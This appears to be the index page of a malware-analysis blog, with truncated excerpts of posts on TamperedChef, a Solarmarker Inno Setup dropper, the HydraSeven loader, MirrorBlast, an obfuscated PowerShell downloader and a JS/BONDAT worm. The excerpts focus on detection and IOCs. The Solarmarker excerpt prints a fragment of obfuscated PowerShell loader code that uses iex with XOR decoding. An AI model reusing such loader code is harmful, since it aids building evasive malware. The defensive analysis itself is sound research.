Security Magic

TamperedChef analysis: deep dive into a recipe-themed Windows/Electron app that hides obfuscated JS, covert C2 behavior, IOCs, and hunting tips. Hello World!  Let me introduce you to a new malware I'm calling TamperedChef .  Yesterday I came across the article Malvertising Alert: Recipe App Hijacks Credentials and Appears to Establish C&C Connection . This got me curious, so I decided to dig a bit deeper. I manually went to recipelister ( VirusTotal )  and downloaded recipelister.exe.  After reading the aforementioned blog, which observed the 7z-out folder, I figured why not use 7zip to extract recipelister.exe. Within the compressed file was app-64.7z, which I again extracted I extracted using 7zip.  At this point we have the main contents of what would appear in "AppData\Local\Temp\2w1rXpxZnwDUwuTeNvdD6FUkeI0".  Extracting app.asar: In order to extract app.asar to be easier to look at, I used this 7z asar plugin .  This is where things get int...

Squiblydoo came across a new variant of solarmarker malware and posted the finidings here: https://twitter.com/SquiblydooBlog/status/1717464614403735562 Unfortunately this new version no longer works with my extractor tool found here: https://github.com/securitymagic/tools/blob/main/extractsmdll.py However, RussianPanda posted a new tool which can be used after the Inno Package is extracted. A quick analysis suggests that the new dropper uses Inno Setup, some quick tools can pull some of the data, including a few of the powershell commands seen below. innounp -x -m .\Appendix-C-Acceptance-of-Acknowledgement-of-Policies-and.exe strings .\CompiledCode.bin WIN-VUA6POUV5UP 0CC47AC83803 JOHN-PC FkLmng TNewEdit Cancel {tmp} .pdf {tmp}\budget_fy2024.pdf \..\ \budget_fy2024.pdf open {tmp}\data.dat pSDubTWyjzdAhmBNLtROxasMKfJUPQVv iex([Text.Encoding]::UTF8.GetString((({$F=[IO.File]::ReadAllBytes($args[0]);(rm $args[0]);return $F}.invoke(' '))|%{$_ -bxor ...

Analysis of customloader pdfconverters.exe,pdfunk.exe: HydraSeven Malware, .NET malware loader impersonating PDF software. Updated Nov 22, 2023 Updated notes are at the bottom of the page. Hello World! I am investigating a new malware loader and calling this unknown loader Hydra Seven . Here are some of the details. Over the past several weeks there has been some limited chatter about an interesting suspicious PDF software (pdfconverters.exe, pdfunk.exe). The first details I've run across with this were found on this twitter post https://twitter.com/neonprimetime/status/1711510658959749324 . The initial analysis suggests the malware may be related to redline through some heuristic detections from a couple security vendors. This is possible, though I haven't been able to verify Redline yet, I'm still working on it. I started digging a bit into the pdfconverters.exe, which leads to a download and install of AppData\Local\Temp\PDFunk-Setup.exe then ultiamtely AppDa...

It's been a while since I've posted anything, but this is genuinly interesting to me and I want to put this out there. I have been using a "hunting query" in VirusTotal to look for "imphash:9cbefe68f395e67356e2a5d8d1b285c0 size:140MB+" . I use this primarily to look for some known patterns in the recent solarmark campaign, however, it's recently been picking up a number of other large padded files. Examples: IDfac-t.165.j0.exe: 2045ce1f72fab0c0de425d10308afcd4 390MB+ IDfac-t.165.j0.exe: 9c10c074275f038aeaff06455d7425f1 389MB+ PDF-Notafiscal-avqlz-07382-TGJKC.exe: dff097514b96ab3f3ef1899091ac31eb 282MB+ I've pulled a few of these and ran them through app.any.run. Here are some of the results: https://app.any.run/tasks/6783b7ca-20ce-434b-a429-e8db194118c4/ https://app.any.run/tasks/69dc7467-369e-42d6-a097-2156c2a43366/ https://app.any.run/tasks/5bce4e2c-288a-4ce6-9c57-304925819d0e/ The last one is after I remvoed most of the padding (not...

Quick Post. I was looking at several samples of MirrorBlast and have noticed that while MsiExec is not a child process of Excel, it is still being called through loaded DLLs. Some EDR products should b able to look for this behavior. Process Path containing Excel.exe with image/module dll load of msimsg.dll might prove to be an interesting way to detect this per my twitter post. https://twitter.com/luke92881/status/1446147033388273675 There are of course other DLLs such as msi.dll and msimtf.dll (and others), however the msimsg.dll is the first one that appears to be an anomoly baselines I've run. Small List of samples with this behavior: https://app.any.run/tasks/74de3a74-f590-4bd7-aca6-c8fa7cd435fe/ https://app.any.run/tasks/9175439d-8d2c-4fa6-bcd5-a24017b97656/ https://app.any.run/tasks/134bee05-bb64-4647-8845-58b12cd31dba/ UPDATE: 10/16/2021 Interesting Anti-Sandbox FUD post on Twitter: Initial Detection Opportunity in EDR. https://twitter.com/bigmacjpg/stat...

Wanted to share a quick post on a neat downloader that goes through multiple stages of obfuscation. The sample can be found here https://app.any.run/tasks/35593a77-04d7-4df3-8e37-ba9b0ea5e691 Specifically, look at the dropped Powershell scrtipt from MsiExec in this screenshot. For the first stage of obfuscation, we can see the characters used for separator values near the end of the PS1 code. SPlIT( 'wyN{hZ-}') | % { ([Char] ( Using this we can then create a quick formula in cyber chef: Find_/_Replace({'option':'Regex','string':'[wyN{hZ\\-}]'},' ',true,false,true,false) From_Charcode('Space',16) As you can see from the above screenshot, we have some more obfuscation here. This one is fun, and as of this writing I'm not sure how to do this in Cyberchef, but luckily it is a technique I've seen used by Emotet in the past. Esentially we just need to reorder the data below according t...

Quick post, ran across a JS/BONDAT Worm variant and thought I would highlight some analysis and detection opportunities. The file I came across can be found here:  https://app.any.run/tasks/b3654b29-8858-4769-90ae-4f45a5f27c5d/ First Detection Opportunity This is a JavaScript file being executed via wscript, while this does not always mean "malicious", I find that detecting on Wscript.exe with a command line of .js does catch a fair number of malware families.  Of course, you may need to negate some false positives as you run across them, but this is a good start. Second Detection Opportunity From the above image, you can see Wscript.exe writing a .JS file. This may be a good item to key in on as well. Again, some minot false positive may exist, but those should be easy to negate. Understanding the Javascript The first thing to day with the JS is to beautify it... We can go from This: To This: right away we can see that some data about the victim is being coll...